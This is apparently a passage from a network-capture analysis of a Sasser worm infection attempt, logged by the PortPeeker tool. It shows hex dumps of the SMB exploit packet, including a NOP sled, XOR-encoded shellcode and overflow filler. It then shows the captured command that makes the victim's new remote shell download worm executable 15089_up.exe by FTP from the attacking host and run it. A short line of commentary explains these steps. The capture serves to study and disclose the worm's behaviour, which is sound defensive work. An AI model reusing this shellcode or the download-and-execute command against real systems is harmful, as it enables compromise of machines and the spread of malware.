0FA0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0FB0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0FC0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0FD0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0FE0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0FF0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
1000 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
1010 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
1020 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
1030 3C 00 12 00 1C 00 75 00 90 00 90 00 90 00 90 00 <.....u.........
1040 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
1050 EB 00 10 00 5A 00 4A 00 33 00 C9 00 66 00 B9 00 ....Z.J.3...f...
1060 7D 00 01 00 80 00 34 00 0A 00 99 00 E2 00 FA 00 }.....4.........
1070 EB 00 05 00 E8 00 EB 00 FF 00 FF 00 FF 00 70 00 ..............p.
1080 95 00 98 00 99 00 99 00 C3 00 FD 00 38 00 A9 00 ............8...
1090 99 00 99 00 99 00 12 00 D9 00 95 00 12 00 E9 00 ................
10A0 85 00 34 00 12 00 D9 00 91 00 12 00 41 00 12 00 ..4.........A...
10B0 EA 00 A5 00 12 00 ED 00 87 00 E1 00 9A 00 6A 00 ..............j.
10C0 12 00 E7 00 B9 00 9A 00 62 00 12 00 D7 00 8D 00 ........b.......
10D0 AA 00 74 00 CF 00 CE 00 C8 00 12 00 A6 00 9A 00 ..t.............
10E0 62 00 12 00 6B 00 F3 00 97 00 C0 00 6A 00 3F 00 b...k.......j.?.
10F0 ED 00 91 00 C0 00 C6 00 1A 00 5E 00             ..........^.


68.144.65.80 : 1533 TCP Data In Length 4060 bytes
MD5 = 2D7286F9A60B77CE980D873A1F11EA0B
---- 02/05/2004 19:10:04.270
0000 00 00 0F D8 FF 53 4D 42 25 00 00 00 00 18 07 C8 .....SMB%.......
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 08 18 01 ................
0020 00 08 70 00 10 00 00 84 0F 00 00 00 04 00 00 00 ..p.............
0030 00 00 00 00 00 00 00 00 00 54 00 84 0F 54 00 02 .........T...T..
0040 00 26 00 00 40 95 0F 00 5C 00 50 00 49 00 50 00 .&..@...\.P.I.P.
0050 45 00 5C 00 00 00 00 00 05 00 00 02 10 00 00 00 E.\.............
0060 84 0F 00 00 01 00 00 00 6C 0F 00 00 00 00 09 00 ........l.......
0070 9D 00 DC 00 7B 00 70 00 C0 00 C6 00 C7 00 12 00 ....{.p.........
0080 54 00 12 00 DF 00 BD 00 9A 00 5A 00 48 00 78 00 T.........Z.H.x.
0090 9A 00 58 00 AA 00 50 00 FF 00 12 00 91 00 12 00 ..X...P.........
00A0 DF 00 85 00 9A 00 5A 00 58 00 78 00 9B 00 9A 00 ......Z.X.x.....
00B0 58 00 12 00 99 00 9A 00 5A 00 12 00 63 00 12 00 X.......Z...c...
00C0 6E 00 1A 00 5F 00 97 00 12 00 49 00 F3 00 9A 00 n..._.....I.....
00D0 C0 00 71 00 1E 00 99 00 99 00 99 00 1A 00 5F 00 ..q..........._.
00E0 94 00 CB 00 CF 00 66 00 CE 00 65 00 C3 00 12 00 ......f...e.....
00F0 41 00 F3 00 9C 00 C0 00 71 00 ED 00 99 00 99 00 A.......q.......
0100 99 00 C9 00 C9 00 C9 00 C9 00 F3 00 98 00 F3 00 ................
0110 9B 00 66 00 CE 00 75 00 12 00 41 00 5E 00 9E 00 ..f...u...A.^...
0120 9B 00 99 00 BE 00 95 00 AA 00 59 00 10 00 DE 00 ..........Y.....
0130 9D 00 F3 00 89 00 CE 00 CA 00 66 00 CE 00 69 00 ..........f...i.
0140 F3 00 98 00 CA 00 66 00 CE 00 6D 00 C9 00 C9 00 ......f...m.....
0150 CA 00 66 00 CE 00 61 00 12 00 49 00 1A 00 75 00 ..f...a...I...u.
0160 DD 00 12 00 6D 00 AA 00 59 00 F3 00 89 00 C0 00 ....m...Y.......
0170 10 00 9D 00 17 00 7B 00 62 00 10 00 CF 00 A1 00 ......{.b.......
0180 10 00 CF 00 A5 00 10 00 CF 00 D9 00 FF 00 5E 00 ..............^.
0190 DF 00 B5 00 98 00 98 00 14 00 DE 00 89 00 C9 00 ................
01A0 CF 00 AA 00 50 00 C8 00 C8 00 C8 00 F3 00 98 00 ....P...........
01B0 C8 00 C8 00 5E 00 DE 00 A5 00 FA 00 F4 00 FD 00 ....^...........
01C0 99 00 14 00 DE 00 A5 00 C9 00 C8 00 66 00 CE 00 ............f...
01D0 79 00 CB 00 66 00 CE 00 65 00 CA 00 66 00 CE 00 y...f...e...f...
01E0 65 00 C9 00 66 00 CE 00 7D 00 AA 00 59 00 35 00 e...f...}...Y.5.
01F0 1C 00 59 00 EC 00 60 00 C8 00 CB 00 CF 00 CA 00 ..Y...`.........
0200 66 00 4B 00 C3 00 C0 00 32 00 7B 00 77 00 AA 00 f.K.....2.{.w...
0210 59 00 5A 00 71 00 76 00 67 00 66 00 66 00 DE 00 Y.Z.q.v.g.f.f...
0220 FC 00 ED 00 C9 00 EB 00 F6 00 FA 00 D8 00 FD 00 ................
0230 FD 00 EB 00 FC 00 EA 00 EA 00 99 00 DA 00 EB 00 ................
0240 FC 00 F8 00 ED 00 FC 00 C9 00 EB 00 F6 00 FA 00 ................
0250 FC 00 EA 00 EA 00 D8 00 99 00 DC 00 E1 00 F0 00 ................
0260 ED 00 CD 00 F1 00 EB 00 FC 00 F8 00 FD 00 99 00 ................
0270 D5 00 F6 00 F8 00 FD 00 D5 00 F0 00 FB 00 EB 00 ................
0280 F8 00 EB 00 E0 00 D8 00 99 00 EE 00 EA 00 AB 00 ................
0290 C6 00 AA 00 AB 00 99 00 CE 00 CA 00 D8 00 CA 00 ................
02A0 F6 00 FA 00 F2 00 FC 00 ED 00 D8 00 99 00 FB 00 ................
02B0 F0 00 F7 00 FD 00 99 00 F5 00 F0 00 EA 00 ED 00 ................
02C0 FC 00 F7 00 99 00 F8 00 FA 00 FA 00 FC 00 E9 00 ................
02D0 ED 00 99 00 FA 00 F5 00 F6 00 EA 00 FC 00 EA 00 ................
02E0 F6 00 FA 00 F2 00 FC 00 ED 00 99 00 90 00 90 00 ................
02F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0300 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0310 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0320 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0330 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0340 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0350 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0360 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0370 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0380 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0390 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
03F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0400 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0410 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0420 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0430 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0440 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0450 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0460 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0470 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0480 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0490 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
04F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0500 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0510 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0520 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0530 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0540 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0550 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0560 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0570 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0580 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0590 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
05F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0600 90 00 90 00 90 00 90 00 90 00 90 00 EB 00 06 00 ................
0610 EB 00 06 00 3C 00 12 00 1C 00 75 00 90 00 90 00 ....<.....u.....
0620 90 00 90 00 90 00 90 00 90 00 90 00 EB 00 10 00 ................
0630 5A 00 4A 00 33 00 C9 00 66 00 B9 00 7D 00 01 00 Z.J.3...f...}...
0640 80 00 34 00 0A 00 99 00 E2 00 FA 00 EB 00 05 00 ..4.............
0650 E8 00 EB 00 FF 00 FF 00 FF 00 70 00 95 00 98 00 ..........p.....
0660 99 00 99 00 C3 00 FD 00 38 00 A9 00 99 00 99 00 ........8.......
0670 99 00 12 00 D9 00 95 00 12 00 E9 00 85 00 34 00 ..............4.
0680 12 00 D9 00 91 00 12 00 41 00 12 00 EA 00 A5 00 ........A.......
0690 12 00 ED 00 87 00 E1 00 9A 00 6A 00 12 00 E7 00 ..........j.....
06A0 B9 00 9A 00 62 00 12 00 D7 00 8D 00 AA 00 74 00 ....b.........t.
06B0 CF 00 CE 00 C8 00 12 00 A6 00 9A 00 62 00 12 00 ............b...
06C0 6B 00 F3 00 97 00 C0 00 6A 00 3F 00 ED 00 91 00 k.......j.?.....
06D0 C0 00 C6 00 1A 00 5E 00 9D 00 DC 00 7B 00 70 00 ......^.....{.p.
06E0 C0 00 C6 00 C7 00 12 00 54 00 12 00 DF 00 BD 00 ........T.......
06F0 9A 00 5A 00 48 00 78 00 9A 00 58 00 AA 00 50 00 ..Z.H.x...X...P.
0700 FF 00 12 00 91 00 12 00 DF 00 85 00 9A 00 5A 00 ..............Z.
0710 58 00 78 00 9B 00 9A 00 58 00 12 00 99 00 9A 00 X.x.....X.......
0720 5A 00 12 00 63 00 12 00 6E 00 1A 00 5F 00 97 00 Z...c...n..._...
0730 12 00 49 00 F3 00 9A 00 C0 00 71 00 1E 00 99 00 ..I.......q.....
0740 99 00 99 00 1A 00 5F 00 94 00 CB 00 CF 00 66 00 ......_.......f.
0750 CE 00 65 00 C3 00 12 00 41 00 F3 00 9C 00 C0 00 ..e.....A.......
0760 71 00 ED 00 99 00 99 00 99 00 C9 00 C9 00 C9 00 q...............
0770 C9 00 F3 00 98 00 F3 00 9B 00 66 00 CE 00 75 00 ..........f...u.
0780 12 00 41 00 5E 00 9E 00 9B 00 99 00 BE 00 95 00 ..A.^...........
0790 AA 00 59 00 10 00 DE 00 9D 00 F3 00 89 00 CE 00 ..Y.............
07A0 CA 00 66 00 CE 00 69 00 F3 00 98 00 CA 00 66 00 ..f...i.......f.
07B0 CE 00 6D 00 C9 00 C9 00 CA 00 66 00 CE 00 61 00 ..m.......f...a.
07C0 12 00 49 00 1A 00 75 00 DD 00 12 00 6D 00 AA 00 ..I...u.....m...
07D0 59 00 F3 00 89 00 C0 00 10 00 9D 00 17 00 7B 00 Y.............{.
07E0 62 00 10 00 CF 00 A1 00 10 00 CF 00 A5 00 10 00 b...............
07F0 CF 00 D9 00 FF 00 5E 00 DF 00 B5 00 98 00 98 00 ......^.........
0800 14 00 DE 00 89 00 C9 00 CF 00 AA 00 50 00 C8 00 ............P...
0810 C8 00 C8 00 F3 00 98 00 C8 00 C8 00 5E 00 DE 00 ............^...
0820 A5 00 FA 00 F4 00 FD 00 99 00 14 00 DE 00 A5 00 ................
0830 C9 00 C8 00 66 00 CE 00 79 00 CB 00 66 00 CE 00 ....f...y...f...
0840 65 00 CA 00 66 00 CE 00 65 00 C9 00 66 00 CE 00 e...f...e...f...
0850 7D 00 AA 00 59 00 35 00 1C 00 59 00 EC 00 60 00 }...Y.5...Y...`.
0860 C8 00 CB 00 CF 00 CA 00 66 00 4B 00 C3 00 C0 00 ........f.K.....
0870 32 00 7B 00 77 00 AA 00 59 00 5A 00 71 00 76 00 2.{.w...Y.Z.q.v.
0880 67 00 66 00 66 00 DE 00 FC 00 ED 00 C9 00 EB 00 g.f.f...........
0890 F6 00 FA 00 D8 00 FD 00 FD 00 EB 00 FC 00 EA 00 ................
08A0 EA 00 99 00 DA 00 EB 00 FC 00 F8 00 ED 00 FC 00 ................
08B0 C9 00 EB 00 F6 00 FA 00 FC 00 EA 00 EA 00 D8 00 ................
08C0 99 00 DC 00 E1 00 F0 00 ED 00 CD 00 F1 00 EB 00 ................
08D0 FC 00 F8 00 FD 00 99 00 D5 00 F6 00 F8 00 FD 00 ................
08E0 D5 00 F0 00 FB 00 EB 00 F8 00 EB 00 E0 00 D8 00 ................
08F0 99 00 EE 00 EA 00 AB 00 C6 00 AA 00 AB 00 99 00 ................
0900 CE 00 CA 00 D8 00 CA 00 F6 00 FA 00 F2 00 FC 00 ................
0910 ED 00 D8 00 99 00 FB 00 F0 00 F7 00 FD 00 99 00 ................
0920 F5 00 F0 00 EA 00 ED 00 FC 00 F7 00 99 00 F8 00 ................
0930 FA 00 FA 00 FC 00 E9 00 ED 00 99 00 FA 00 F5 00 ................
0940 F6 00 EA 00 FC 00 EA 00 F6 00 FA 00 F2 00 FC 00 ................
0950 ED 00 99 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0960 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0970 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0980 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0990 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09A0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09B0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09C0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09D0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09E0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
09F0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A10 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A20 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A30 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A40 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A50 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A60 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A70 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A80 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0A90 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0AA0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0AB0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 90 00 ................
0AC0 90 00 90 00 90 00 90 00 90 00 90 00 90 00 31 31 ..............11
0AD0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0AE0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0AF0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0B00 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0B10 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0B20 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0B30 31 31 31 31 00 00 00 00 9A A8 40 00 01 00 00 00 1111......@.....
0B40 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 ................
0B50 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 ................
0B60 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 ................
0B70 00 00 00 00 01 00 00 00 00 00 00 00 9A A8 40 00 ..............@.
0B80 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
0B90 9A A8 40 00 01 00 00 00 00 00 00 00 01 00 00 00 ..@.............
0BA0 00 00 00 00 9A A8 40 00 01 00 00 00 00 00 00 00 ......@.........
0BB0 01 00 00 00 00 00 00 00 31 31 31 31 31 31 31 31 ........11111111
0BC0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0BD0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0BE0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0BF0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0C00 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0C10 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0C20 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0C30 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0C40 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0C50 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0C60 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0C70 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0C80 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0C90 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0CA0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0CB0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0CC0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0CD0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0CE0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0CF0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0D00 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0D10 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0D20 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0D30 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0D40 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0D50 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0D60 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0D70 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0D80 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0D90 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0DA0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0DB0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0DC0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0DD0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0DE0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0DF0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0E00 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0E10 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0E20 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0E30 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0E40 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0E50 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0E60 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0E70 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0E80 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0E90 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0EA0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0EB0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0EC0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0ED0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0EE0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0EF0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0F00 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0F10 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0F20 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0F30 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0F40 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0F50 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0F60 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0F70 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0F80 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0F90 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0FA0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0FB0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0FC0 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 1111111111111111
0FD0 31 31 31 31 31 31 31 31 31 31 31 31             111111111111
 

If the exploit has worked the infected system now has a remote command shell available on TCP port 9996 and so Sasser sends instructions to this shell to download and install the worm from the infecting system via and ftp server it creates and then run the worm.

68.144.65.80 : 1795 TCP Data In Length 1 bytes
MD5 = E1671797C52E15F763380B45E841EC32
---- 02/05/2004 19:10:05.270
0000 65                                              e


68.144.65.80 : 1795 TCP Data In Length 211 bytes
MD5 = 116492819C42A944137E4EBB4B260CAF
---- 02/05/2004 19:10:05.635
0000 63 68 6F 20 6F 66 66 26 65 63 68 6F 20 6F 70 65 cho off&echo ope
0010 6E 20 36 38 2E 31 34 34 2E 36 35 2E 38 30 20 35 n 68.144.65.80 5
0020 35 35 34 3E 3E 63 6D 64 2E 66 74 70 26 65 63 68 554>>cmd.ftp&ech
0030 6F 20 61 6E 6F 6E 79 6D 6F 75 73 3E 3E 63 6D 64 o anonymous>>cmd
0040 2E 66 74 70 26 65 63 68 6F 20 75 73 65 72 26 65 .ftp&echo user&e
0050 63 68 6F 20 62 69 6E 3E 3E 63 6D 64 2E 66 74 70 cho bin>>cmd.ftp
0060 26 65 63 68 6F 20 67 65 74 20 31 35 30 38 39 5F &echo get 15089_
0070 75 70 2E 65 78 65 3E 3E 63 6D 64 2E 66 74 70 26 up.exe>>cmd.ftp&
0080 65 63 68 6F 20 62 79 65 3E 3E 63 6D 64 2E 66 74 echo bye>>cmd.ft
0090 70 26 65 63 68 6F 20 6F 6E 26 66 74 70 20 2D 73 p&echo on&ftp -s
00A0 3A 63 6D 64 2E 66 74 70 26 31 35 30 38 39 5F 75 :cmd.ftp&15089_u
00B0 70 2E 65 78 65 26 65 63 68 6F 20 6F 66 66 26 64 p.exe&echo off&d
00C0 65 6C 20 63 6D 64 2E 66 74 70 26 65 63 68 6F 20 el cmd.ftp&echo
00D0 6F 6E 0A                                        on.
 

While PortPeeker is not an officially supported product if you have any suggestions or find any bugs please send them to PortPeeker@LinkLogger.com